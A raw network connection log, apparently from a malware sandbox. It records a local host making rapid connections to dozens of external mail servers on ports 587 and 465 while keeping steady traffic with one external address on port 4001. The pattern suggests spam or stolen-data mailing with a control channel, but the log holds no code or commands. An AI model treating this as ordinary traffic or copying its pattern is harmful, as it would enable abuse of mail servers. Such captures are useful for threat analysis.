May 19, 2024 17:27:39.743905067 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:39.743927956 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:39.744009972 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:39.744056940 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.750863075 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:39.755377054 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:39.760516882 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:39.760529995 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:39.760546923 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:39.760560036 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.760570049 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.761132956 CEST	49799	465	192.168.2.4	180.222.13.3
May 19, 2024 17:27:39.766211033 CEST	465	49799	180.222.13.3	192.168.2.4
May 19, 2024 17:27:39.766288996 CEST	49799	465	192.168.2.4	180.222.13.3
May 19, 2024 17:27:39.766462088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.786710024 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:39.791810989 CEST	587	49761	204.11.56.50	192.168.2.4
May 19, 2024 17:27:39.791824102 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.791836023 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.791894913 CEST	49761	587	192.168.2.4	204.11.56.50
May 19, 2024 17:27:39.792670965 CEST	49761	587	192.168.2.4	204.11.56.50
May 19, 2024 17:27:39.792932034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.793562889 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:39.799777985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.799969912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.800844908 CEST	49800	465	192.168.2.4	66.96.140.50
May 19, 2024 17:27:39.803347111 CEST	49801	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:39.837786913 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:39.837939978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.842585087 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:39.842724085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.847373962 CEST	587	49761	204.11.56.50	192.168.2.4
May 19, 2024 17:27:39.847387075 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:39.847399950 CEST	465	49800	66.96.140.50	192.168.2.4
May 19, 2024 17:27:39.847413063 CEST	587	49801	194.153.145.104	192.168.2.4
May 19, 2024 17:27:39.847424984 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.847482920 CEST	49800	465	192.168.2.4	66.96.140.50
May 19, 2024 17:27:39.847513914 CEST	49801	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:39.847577095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.847650051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.848225117 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:39.852217913 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.857726097 CEST	49803	465	192.168.2.4	116.203.217.231
May 19, 2024 17:27:39.862509966 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:39.862529039 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.862576962 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:39.862723112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.867422104 CEST	465	49803	116.203.217.231	192.168.2.4
May 19, 2024 17:27:39.867435932 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:39.867501974 CEST	49803	465	192.168.2.4	116.203.217.231
May 19, 2024 17:27:39.867610931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.867710114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.880414963 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:39.896006107 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:39.905138969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.905220032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.909478903 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:39.909616947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.911638975 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:39.914237022 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.914910078 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:39.918992996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.923737049 CEST	587	49756	120.50.131.112	192.168.2.4
May 19, 2024 17:27:39.923762083 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.923830986 CEST	49756	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:39.924067974 CEST	49756	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:39.924210072 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.926707029 CEST	49805	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:39.928693056 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:39.928708076 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:39.928757906 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:39.928890944 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.929014921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.933568954 CEST	587	49756	120.50.131.112	192.168.2.4
May 19, 2024 17:27:39.938321114 CEST	587	49805	193.81.82.81	192.168.2.4
May 19, 2024 17:27:39.938389063 CEST	49805	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:39.938456059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.943190098 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.944044113 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:39.950583935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.950664043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.955709934 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:39.958527088 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:39.959753036 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:39.959767103 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:39.959814072 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:39.959928989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.960078001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.964490891 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.969166994 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:39.969180107 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:39.969244957 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:39.969322920 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.969413996 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.974072933 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.974160910 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:39.979043961 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:39.988661051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:39.988661051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.005518913 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:40.006411076 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.007862091 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:40.008264065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.008344889 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.010159969 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:40.011333942 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:40.011476040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.021032095 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:40.021441936 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:40.021455050 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:40.021466970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.021537066 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:40.021650076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.029153109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.029230118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.034101963 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.039016008 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.052742004 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:40.063817024 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:40.063958883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.069629908 CEST	49809	587	192.168.2.4	62.116.169.204
May 19, 2024 17:27:40.074532032 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:40.074733973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.079715967 CEST	587	49809	62.116.169.204	192.168.2.4
May 19, 2024 17:27:40.079869032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.079899073 CEST	49809	587	192.168.2.4	62.116.169.204
May 19, 2024 17:27:40.084907055 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.090394020 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.090646029 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:40.091000080 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:40.093424082 CEST	49810	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:40.095598936 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:40.100686073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.100749969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.105560064 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:40.105592966 CEST	587	49810	104.18.2.81	192.168.2.4
May 19, 2024 17:27:40.105686903 CEST	49810	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:40.105803967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.110713959 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.114783049 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:40.114797115 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:40.122009993 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:40.123037100 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:40.123156071 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.127861977 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:40.127937078 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:40.128041983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.133358002 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:40.137767076 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.144691944 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:40.144788027 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:40.144886971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.177851915 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:40.179189920 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:40.179347992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.183964014 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.188709974 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.224149942 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:40.228962898 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.228979111 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.228986979 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:40.229223013 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:40.229521036 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:40.229612112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.229612112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.234496117 CEST	49813	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:40.239104986 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:40.243908882 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:40.243932009 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.271143913 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:40.276293039 CEST	587	49813	117.50.20.113	192.168.2.4
May 19, 2024 17:27:40.276304007 CEST	587	49776	182.48.49.234	192.168.2.4
May 19, 2024 17:27:40.276330948 CEST	587	49771	72.52.178.23	192.168.2.4
May 19, 2024 17:27:40.276401043 CEST	49813	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:40.276530981 CEST	49771	587	192.168.2.4	72.52.178.23
May 19, 2024 17:27:40.276618958 CEST	49771	587	192.168.2.4	72.52.178.23
May 19, 2024 17:27:40.276665926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.276665926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.276751995 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.277029037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.277029991 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.277348042 CEST	49814	465	192.168.2.4	94.231.107.219
May 19, 2024 17:27:40.277388096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.277426958 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.277482986 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.277517080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.282246113 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:40.282507896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.287210941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.287367105 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:40.288539886 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:40.288616896 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:40.290148020 CEST	49815	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:40.291049004 CEST	49816	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:40.292076111 CEST	587	49771	72.52.178.23	192.168.2.4
May 19, 2024 17:27:40.292084932 CEST	465	49814	94.231.107.219	192.168.2.4
May 19, 2024 17:27:40.292098045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.292292118 CEST	49814	465	192.168.2.4	94.231.107.219
May 19, 2024 17:27:40.292399883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.297283888 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:40.302112103 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:40.302134991 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:40.302141905 CEST	587	49815	194.153.145.104	192.168.2.4
May 19, 2024 17:27:40.302150011 CEST	587	49816	194.153.145.104	192.168.2.4
May 19, 2024 17:27:40.302309036 CEST	49816	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:40.302424908 CEST	49815	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:40.303081989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.303081989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.303546906 CEST	49817	587	192.168.2.4	195.130.132.10
May 19, 2024 17:27:40.307352066 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.307753086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.307753086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.312366962 CEST	587	49817	195.130.132.10	192.168.2.4
May 19, 2024 17:27:40.312448978 CEST	49817	587	192.168.2.4	195.130.132.10
May 19, 2024 17:27:40.312525034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.317287922 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.317991018 CEST	49776	587	192.168.2.4	182.48.49.234
May 19, 2024 17:27:40.322166920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.327495098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.327495098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.332689047 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.333527088 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:40.337606907 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:40.337846994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.342458963 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:40.342699051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.347454071 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.364963055 CEST	587	49773	72.52.178.23	192.168.2.4
May 19, 2024 17:27:40.365051985 CEST	49773	587	192.168.2.4	72.52.178.23
May 19, 2024 17:27:40.365241051 CEST	49773	587	192.168.2.4	72.52.178.23
May 19, 2024 17:27:40.365402937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.380409956 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:40.384198904 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.384850025 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:40.385083914 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:40.386976004 CEST	49818	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:40.389183044 CEST	587	49773	72.52.178.23	192.168.2.4
May 19, 2024 17:27:40.396167040 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:40.396178007 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:40.401150942 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:40.401160002 CEST	587	49818	120.50.131.112	192.168.2.4
May 19, 2024 17:27:40.401175022 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:40.401241064 CEST	49818	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:40.401595116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.401595116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.403820992 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:40.421262980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.421263933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.425776958 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.430624008 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:40.430720091 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:40.430897951 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.435734034 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.435743093 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:40.435914040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.443030119 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:40.464178085 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:40.464443922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.469099998 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:40.469329119 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.474014997 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.478842020 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.489892960 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:40.494895935 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.495069027 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:40.495532990 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:40.495686054 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:40.500169039 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:40.505023003 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:40.505434990 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:40.510268927 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:40.517376900 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:40.521025896 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:40.525140047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.525217056 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.525425911 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:40.525558949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.525558949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.529964924 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:40.530031919 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:40.530123949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.530123949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.534919024 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:40.535222054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.535222054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.540153980 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:40.540167093 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:40.540174007 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:40.540250063 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:40.540328026 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:40.540396929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.545355082 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:40.545367002 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.545383930 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.545608044 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:40.545717955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.545804024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.545804024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.550126076 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.550136089 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.550144911 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:40.550335884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.554918051 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.554936886 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:40.555111885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.555192947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.555192947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.559822083 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.560504913 CEST	49821	587	192.168.2.4	13.248.158.7
May 19, 2024 17:27:40.564754009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.564795971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.564980030 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.565027952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.565357924 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:40.569319963 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.569329023 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:40.570044994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.574053049 CEST	587	49821	13.248.158.7	192.168.2.4
May 19, 2024 17:27:40.574171066 CEST	49821	587	192.168.2.4	13.248.158.7
May 19, 2024 17:27:40.574171066 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.578785896 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:40.578847885 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:40.578957081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.588594913 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:40.592698097 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.597546101 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:40.597625017 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:40.597703934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.599256039 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:40.600866079 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:40.602353096 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:40.602475882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.607470989 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.615297079 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:40.619987011 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:40.622509003 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.626444101 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:40.628577948 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:40.628765106 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:40.628952980 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:40.637135029 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:40.638405085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:40.642061949 CEST	587	49775	193.201.172.98	192.168.2.4
May 19, 2024 17:27:40.646070004 CEST	49775	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:40.646112919 CEST	49767	587	192.168.2.4	62.149.128.200
